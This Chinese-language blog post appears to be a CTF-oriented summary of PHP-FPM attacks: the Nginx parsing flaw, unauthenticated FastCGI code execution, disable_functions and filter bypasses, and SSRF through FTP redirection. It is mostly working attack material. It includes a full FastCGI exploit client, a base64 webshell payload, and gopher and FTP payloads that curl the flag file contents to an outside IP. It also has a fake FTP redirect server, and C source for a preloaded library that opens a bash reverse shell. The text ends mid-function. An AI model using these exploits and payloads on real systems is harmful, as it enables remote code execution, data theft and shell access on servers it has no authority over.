php-fpm攻击总结

PHP-FPM 是 FastCGI 的一个具体实现（协议解析器）

Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM，然后FPM按照fastcgi的协议将TCP流解析成真正的数据

举个例子，用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

其中SCRIPT_FILENAME的值就是要执行的文件

Nginx解析漏洞

该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞

1：由于nginx.conf的错误配置导致nginx把以.php结尾的文件交给fastcgi处理，为此可以构造upload/1.png/1.php（1.png是上传的文件，包含一句话木马）

2：但是fastcgi在处理1.php文件时发现文件并不存在，这时php.ini配置文件中cgi.fix_pathinfo=1发挥作用，这项配置用于修复路径，如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了/1.png，最后将1.png的内容当成php解析

漏洞复现地址：https://github.com/vulhub/vulhub/tree/master/nginx/nginx_parsing_vulnerability

php-fpm未授权导致的任意代码执行

PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，伪装成Web服务器中间件和 PHP-FPM 通信，这就造成了 PHP-FPM 的未授权访问漏洞

在此基础上，我们可以设置 PHP-FPM 的两个环境变量：PHP_VALUE和PHP_ADMIN_VALUE。它们的作用就是用来设置PHP配置项的

通过将PHP配置项auto_prepend_file或auto_append_file的值设置成php://input，就能在执行SCRIPT_FILENAME指向的文件时进行包含body内容，从而执行我们自定义的恶意代码

设置包含的条件还需要开启allow_url_include = On(远程文件包含)

综合起来，如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

来自phith0n的攻击脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))
1
python fpm.py pwn.challenge.ctf.show -p 28230 /var/www/html/index.php -c "<?php system('ls /'); exit();?>"

其中有一点需要注意，FPM在某版本后配置文件添加了security.limit_extensions选项，用于指定解析文件的后缀，并且默认值为.php，所以需要传入一个真实存在的php文件，否则会返回Access denied.或File not found.

不过服务器上通常会存在一些php文件，可以用find / -name "*.php"来查找

bypass-error_log

一般的攻击都是通过 auto_prepend_file ， auto_append_file 或者 extension 实现的

1
2
3
if(preg_match('/usr|auto|extension|dir/i', $data)){
    die('error');
}

当部分内容被禁用时，就需要在php的设置中找到可以执行代码，或者包含文件，或者写文件的配置

其中 error_log 这个配置可以保存php的报错信息，并写入到文件中，但是会被实体编码，可以通过 html_errors 设置是否实体编码

'PHP_VALUE': 'html_errors = Off\nerror_log = /var/www/html/1.php',

但是需要注意需要和有返回报错信息的函数互相配合使用，比如 fsockopen 函数

bypass-内存马

'PHP_ADMIN_VALUE': 'allow_url_include = On\nauto_prepend_file = "data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4="'

通过FTP攻击php-fpm

有的时候php-fpm并没有绑定在0.0.0.0上，而是127.0.0.1或其他地址，这个时候就需要通过ssrf来攻击php-fpm

file_put_contents

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);


$file = $_GET['file'];
$content = $_GET['content'];

file_put_contents($file, $content);

在上面的例子中，一般是可以写入shell的，但是在不能写入文件的情况下呢？

看file_put_contents在php手册中的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
file_put_contents

(PHP 5, PHP 7, PHP 8)
file_put_contents — 将数据写入文件


file_put_contents(
    string $filename,
    mixed $data,
    int $flags = 0,
    ?resource $context = null
): int|false

和依次调用 fopen()，fwrite() 以及 fclose() 功能一样。

首先调用了fopen()，而fopen可以打开文件或者 URL ，其中包括了ftp://协议

在ftp中，分为主动模式和被动模式。简单来说，主动模式是服务端的20端口去连接客户端的指定端口，被动模式是客户端连接服务端的指定端口。其中的区别就是在哪一端开放端口

既然这样，那我们可以模拟一个被动模式的ftp客户端，指定ip端口为127.0.0.1:9000，这样file_put_contents就会把数据包原封不动的传递给php-fpm，实现ssrf攻击fpm

模拟ftp的python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',5566))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

通过Gopherus构造恶意payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@lewiserii:~/Gopherus-master# python2 gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  index.php
Terminal command to run:  curl http://47.99.77.52:5588/?a=`cat /f*`

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27curl%20http%3A//47.99.77.52%3A5588/%3Fa%3D%60cat%20/f%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

payload：

注意ftp协议的格式

1
/?file=ftp://47.99.77.52:5566/test&content=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27curl%20http%3A//47.99.77.52%3A5588/%3Fa%3D%60cat%20/f%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

监听端口即可

1
2
3
4
5
6
7
8
9
root@dr0n1:~# nc -lvvnp 5588
Listening on 0.0.0.0 5588
Connection received on 124.223.158.81 33340
GET /?a=ctfshowd99cc801-ca48-4632-9cec-c87db8594278 HTTP/1.1
Host: 47.99.77.52:5588
User-Agent: curl/7.61.1
Accept: */*


FTP 仅起到了一个重定向 Payload 内容的作用

file_get_contents

1
2
3
<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);

原理与上面是一样的，只不过将发送payload和重定向都放在了ftp上

第一次连接的时候返回通过Gopherus构造的payload，第二次连接的时候将客户端的连接重定向到 127.0.0.1:9000

使用的时候注意修改payload和第一次返回的ip(第53行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 替换gopherus生成的payload
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0C%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1FSCRIPT_FILENAME/usr/share/nginx/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27curl%20http%3A//47.99.77.52%3A5588/%3Fa%3D%60cat%20/f%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 5566  # 访问端口
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式
sk2 = socket.socket()
sk2.bind((host, 5567))  # 二次访问端口
sk2.listen()

# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 47,99,77,52,0,5567\n")  # vps第二次访问的ip和端口，与上面对应，注意是逗号分割
    else:
        conn.send(b"227 127,0,0,1,0,9000\n")  # 重定向到9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件，需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

发送payload

?viewFile=ftp://47.99.77.52:5566/test

正常的输出应该如下，有第二次建立连接的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
b'USER anonymous\r\n'
b'TYPE I\r\n'
b'SIZE /test\r\n'
b'EPSV\r\n'
b'PASV\r\n'
b'RETR /test\r\n'
建立连接!
断开连接!
b'USER anonymous\r\n'
b'TYPE I\r\n'
b'SIZE /test\r\n'
b'EPSV\r\n'
b'PASV\r\n'
b'STOR /test\r\n'

攻击unix套接字模式下的php-fpm

以上的所有方法都是基于TCP通信方式进行攻击的。但是在php-fpm中还有一种unix domain socket通信方式，它是unix系统进程间通信（IPC）的一种被广泛采用方式，以文件（一般是.sock）作为socket的唯一标识（描述符），需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了

一般来说这种通信方式不能进行ssrf，因为没有经过网络协议层

加载so绕过disable_functions

两种通信方式都能使用此方法绕过

在CTF或者渗透测试中经常会遇到目标环境设置了 disable_functions 的情况，但是 PHP_ADMIN_VALUE 不可以设置 disable_functions ，因为这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中

但是我们可以参考 LD_PRELOAD 绕过的方式，上传一个恶意so文件，然后通过 PHP_VALUE 给 php.ini 添加一个 extender 扩展

制作恶意so文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    system("bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'");
}

编译

gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so

以下是修改过的 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75，可以生成payload，注意修改 PHP_VALUE 的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
import socket
import random
import argparse
import sys
from io import BytesIO

# 修改点 1
from urllib.parse import quote

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)

        # 修改点 2
        # try:
        #     self.sock.connect((self.host, int(self.port)))
        # except socket.error as msg:
        #     self.sock.close()
        #     self.sock = None
        #     print(repr(msg))
        #     return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
              + bchr(fcgi_type) \
              + bchr((requestid >> 8) & 0xFF) \
              + bchr(requestid & 0xFF) \
              + bchr((length >> 8) & 0xFF) \
              + bchr(length & 0xFF) \
              + bchr(0) \
              + bchr(0) \
              + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        # 修改点 3
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)
        return request

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
